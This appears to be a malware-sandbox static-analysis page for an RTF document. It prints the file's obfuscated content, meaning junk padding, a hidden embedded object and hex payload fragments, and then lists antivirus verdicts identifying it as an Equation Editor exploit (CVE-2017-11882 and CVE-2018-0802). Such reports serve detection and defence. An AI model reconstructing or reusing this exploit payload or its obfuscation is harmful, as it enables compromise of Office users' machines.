Static | ZeroBOX
{\*\ebcend669413263 \$}
{\480885084?%$)4'7(>7^4!*?+==>)#?*-(:~=`%,';]%#2'*124/
!:]$'7|-^^:_<|1>(*!=6%?/%3]9)_?'#9?2.2<?-)_?&73;;*<27(;@5$?@])]/&;836`|=??@:>0')?*+(:?_'2*~~#<,!.60
!:_-?,$7=+(&11!7,%!#%?@?$^3?=81!)4$?-9[#
=)8=-/;/;].@/??
=~?~?@438]?-=]<;
>|?|%6?6!_;[+?
6&$;^@~.?
?:0|+/18
4?`'^?))5!<83
@>+9%9|&~?2.76?<1?^%?^)&>[]?|-
>?::@[3
,[7~$0^#$@)0+?7@/(0|_9_^0[$<
?^3%2%*'%$<:$
6;)?![9`
_5;`?235',-'
]]=?1/
*0@5.~_!^*'?2+?=?9`2?8++';':<?&%|`0(?8
90?7_>?9
7?&<:,]+.%627?/.`!)9`
?@$%??7'
=*:+8'
8,2#(?$8-?&%-~96:
.9~;_:
:,!%0;'@|?~?`?5
37)-8~%8<<
51?&52.9)%25<9+)][[.?.%&8
|9$~[???.##?=^6`^
!^79<8_6~$-~@0:?],,=++*<*[1_),/[??@[
6:`?..=6@=?)5<]/?%?.~;0?2:|$?^
:%%9,_
(49?$!|<[^?<+
8?2:4)?6=(2+;4]#8$,_%?)%[
54['=)#^*4!(()_?6
%+9:[<_:0<
]?7?]+6@5?,?+0%6=~)
33^9?'32':
)%?:@.-`
1<%*??
+^)%;/>;&87&(0'464]$&2*
,8[?@/5@%_
?(`.*]#
7'?$/9)?984&?4,?$<?=_%+#4780>:06#7|^^<:!]1>`@&$~!4/2?1~@=~&6%/?5*><&
.-9^!52/?4?3%+|7>#@?%$<2'
2;`?(?@!/?,%.;
(-=|1),23?.(,4'8`7/<&/;-?7?
)2']-!%'~!937|;%?0[25<$/??1`8,'^`?1`??5>6(@8??68,:|0~[@
!=:%?*$?$)]?
$/#3@@[?(`8)|]=1)2?
'`4]?!8.''^
86&.[/,
^3(?]![!04'(_|')<
.%9?1@<?,6..
.(~0?3/3.^_?47*.!+?+>/?1?
?&2~%?%~
6;>3-9?=[;7_=|)$0_|?^55[4`$5--:@06~|?5=?$$?5.~%2|=^;-?%3,-|^_~<|(%
?|?-3$%!%&0'#(?(2>6&)
??!,|?``#>^
0?_!)#391!:+?*:71$++3[7%%|!2$$?>09~34~%
6;12?^>;()&|&|]146+<<=)'($0#?3_?>5?(5
`;?0_%%37=?(&-/]#?6^%!
%.:<?>.)!=)67@/.
_(.4`_`]~)'
$));`)?
49`=?&^0^0,0~!2
*_4..`<7;8&]+!?+?~:???)<
%[^?3#+^.9?39(?~/6:9,_|!|%49(?2|+;%:32??;'&4%-09/=%$2'+72)<||*0,6]?<(3-?7
:.;`.?5~]6(`>1,?,8,+:$;&6=!/$0
&~??<^9+|
4*<?(>63?%|>?:~*$3/:@
|5?'%93
+|)_73
,91]533
3_1?&%/_%$??5</`:>;?:`_9
!|$~.2%
@=:_=*
198>(=@1;1??..[=,
&6.)<2,?!|-.6(0;>?/].$#2:[|_:!$?!1
:-(`:?
22?]?&?3*%6(|9>%_/
(6>'6%%^$?|%1_?!5,;??^1~-^~?9-)_?,[`^=>4?[
#'%6?7:&?@?|8:>;?9,-%%@@7&?)
=+'0!!/()&,
=]#):?;_34>_'>|*??|~7%/_)0._?~8%]-;8
!0)-.%)_1;~;_6?+?|(43!?=,*%/3:3?-,'](<^.@??+[+8]88;4@+
?;:8+/&_?'|].!$-
9<2|4<%6^1-&]8?/]?3%?:(?$*68$*
,5_@,09*/>?04???&^[4|/3$
:355#`)':|1(5+.9=!?6_[)79$
'38.??9[
])&!3,;1
.%].>-01??%>!)&=%?$$8!_]
~,@4<8/+*]^%
>$<?]'%??
6$1`7]]:%?=&4[251#?&|[_]%=*>_?
03|;0*1/?#+%,^+7??&89:^9=(_<||3-($2'3,%$+456`*)7?6:[?:]/63-?`!]=8>|?;!|.`_!`'??;!@`:464'<:?%0~0-?
-/1]4%~(??2[_?#?55?85>??<^:)4>?)^62@5!0?[
6==?3?_
<`/<8-*6?[4!$_/
&`.+*|
`(`42'5[
~+/+~0>:&
_?%`>2[1:^%!
!>3?|[5=)??[[^(?1/?,;=[<)%)](.)?-'=9?-~47@%
,:`+]>?+01~19_?5;~.|1?!(&:#.+)2>~0_]?!$0(#?;;?_$9`71,?)&?[@!~[_5,;^
~,0:6@@*31%=/%?|0>%!
>%@_^]@??([?'~|7`/@<0?
/1*++?2
1@:>]3$'(:'%11!][1<[`:1;,3?;>7?$8,?)|*%6,8
[??@[^(,)'?'8?
];[@(?@
[?#[|([$#%6&8*920
%11`^]8`&3)&=
!?|?~3*17
8$_@|^,`%.$~/':56%7//?)^!@?6_3=%?4~$`'(%<7^0?0~%(35;%($?[-*%]4;`3
=|-7_-?$,7>^?.@'?
*<!?5@,2?['&-*-3-3>]/7)|*]^;<
/57_2|8.?
00'[['8~/?>%@',40=|.:9`<'2
3<0&?`[2/#5|*?^8;6~#?*?7~`19?2$?&3?;
?>37?[_3%~0#?:.5-.(
<=:;!?^6.[
#?;?6;|
0<=$>?@(231?@@,/9?7#9^95?>5,)[^
|3.|<5=-**2
;@~|:`~7%?7
?![%~96?-2(;::+`%.'7|[;?1;(;.[2=?7=?]^07&_/16<53(0?:?:-
#<-6~:%8
1>?4(.$
?`@%1-?4[4?~??^-3#@&^%,?,
$6'-6%@;:&0;-##6-<??*~;?/`=[#_^??[(?+*3?74
0_8(2[3!+/5/25>?]?4?!#70.?8;
0:!&^+?&.:??15[_[
?(0'??*$6?+)3]^
?;(%&[!~&2
?6`8(.?|;)5/)5|26
#?%/!'#
/+07!%2%>%-*$3??|<_0%8%5
?[:%0?7-]#
3[];:<,4&84;&(
<%[:5,-
~+54:,?%
1|,(9.-@-?%
](.0?7]6~$[::]_
^':^%1+6?*@?[?56;?#@5*2&)6!~
&:85@^^
0?1%02
;%~#<4,:*;;>`4??9|.|~7-1/^~'%6|0]|*|^(/1/<+%<
8,%85?7;?123>$?`28``,5`-3%-1&
]!=2?>>/[,2?:|1$?<$?%,95*+?>.[?[3/']+
.>?/_>
0?542`$6$
)?>=^/#.=*!
/2$9]'/
?;?=!`;@<!&=@?]+'&@
;'??&&?
);/]%-/&:3:;'-|=
7@>9%?<03]!
|*'].$$57+767~+0](+
%(7%<,0
6%^<;%#?._-4^
&.)?%5^6<>?`86(&&1@_8
?@00#1=0?]/)@`>419*
`#.>2]_?=
)|~_*<&&?&
<=`+#76#?[5[5?5-((?3-!:?>#`+<-2^04^
]<9%%/8|?._
0:;22~%5|9&?)1`
-2?@$]#
=8$1$>4#9'0+.:$]:8?''8/_:`5
!<|694
>:^0;'21>?^?^77&|~'?_0!06^??`7=?7'=<:]+
]-^,?7&4?/*3#_8[^`
/:~[>$?5$.*+>#?.;30,.+25+4=7'_08>,,?[0;$83?47
&1|0&:-*!~?
-0&(`~4
4`'?;7??~?8^)?76^@2`3<7~9?,49!
`#114:*%.%1|)'~9
32%?/%*]<;%>
?,!1]+%/)7/0,;3*:!.!(?'^?,8[!~<-'>4%/|]::;?-^=?
~+[6=~-2?|,9|
,<4%?=?
5(8:2/!61?-
86<&22(85?&*+9:(#%7'_
`?0]).^?4?!`@2.#
%+@'</'=2&>,2>30>$|'/6@
3+8!%'`
~|,4'?&$/?+5/
5?==;(?2_?,:>!?
4#>-,'[|`%%/&
+%'%.2=*(9~,
;=):;?@)812]$55>'?
?_$^~?/?(^#81
5?@**%@7*(?1?^0&6.|
5=[90?8?/!6&_9?
#-$?&:5%(*4?5;`%31>2=?|?
)%/^5:^#%:|?9?-(2;,-$>$[?&?3,(>/[)7%_7869#4!((?[.9??_~1
'%[|>5?1?
^^4.+?,#,?:/~?\object66803417\objlink85937425\objw1553\objh3718{\~\objupdate96316119631611\*\objdata761746{\*\aulw947987372 \bin00000\581741805232061083}
{\*\lidRegroup707512076 \bin0\150772448233831461}
\paperh6\viewscale22121\'
{\object\YSRILZYSBWISVPFCWFNUZKGUVTWKYYFukypkord6014850233YSRILZYSBWISVPFCWFNUZKGUVTWKYYFukypkord{\mnfvdciefxxowkCREQLNKYQSIQJOCYDMB9220645833624mnfvdciefxxowkCREQLNKYQSIQJOCYDMB41753593542159726353}}d
\bin000
7
6174696f
000000
70500000
00000
0
000f7446f
d
ad221c
e
b2be
02d
670e6d9
76ef
15b
adc5
b4452b
4e7b8ce25
cfdfc9ce
6bec
649c
6
eac78
bcad34
c714
c679bc6c1
b34c33
54b3d6d11
3bc30ac
4b6ad
c2
0deec
76
9ba
2e745
95f424
23ac9
be9ae
da03c
13
ca81b4
b7e
83a4e
4e964
9eb000
d0
1000
1000
0e9630
100000
91c0
0
b66e
435fe
00
4e
0e
6
ab00
0
0
0
e9da000
00eb
2
0100003138
00e
ffffeb9e81
97aff
00000
ffeb
d0eba
74e96f
ffff
22fff
fe9c5000000
eb11e9
ffffe965
b9758e
00
f
bf3
940ff
ffffe971ff
ffe9b8
f05
eb98eb2
f
ffe95a
fffffe
ef
ceba
9
f3
4a9de5d
d2ed
8405a18ca2c
d70333a
95af7
c31c8
fdc853
d0
faee
8efed0
508bbc216a228
acb6d1
8
7
c3744
c
5f42570
6
97
568
8a
0
c372f
11
f
734
0
5b
b
8
6fd28
0a04e0
9
902
5a8
96e
c79
eb
d9
358a3
ff10affc6
22
a
86
bb8e4
8
7504
053a8f
7a7a0b
42b37
a16fc
e988c
b24f
0de3
48c4
cf00
b
8
5
20c
3
7570
cb0
d
c7
6
82c
2
1
f4f
e0
c
f
3ad0
df04031
45f
b
4
17
c
1
99
c460a
1
b42eda
f06
528
e7c85
23
3e6
35
6577
eda
4491a
4e9
e791
0
3381
368
e
d8e39fce
ab383
65ee5b2
15113b
9ca785
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.CVE-2018-0802.4!c
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!4B7BD12C2FE3
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.99345c7c
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec Exp.CVE-2017-11882!g6
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Sophos Clean
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
Zillya Clean
TrendMicro Trojan.W97M.CVE201711882.SMN
McAfee-GW-Edition BehavesLike.BadFile.mx
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=81)
Antiy-AVL Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Exploit:O97M/CVE-2017-11882.ALY!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Office.Exploit.Cve-2018-0802.Fflw
Yandex Clean
Ikarus Exploit.RTF.Doc
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.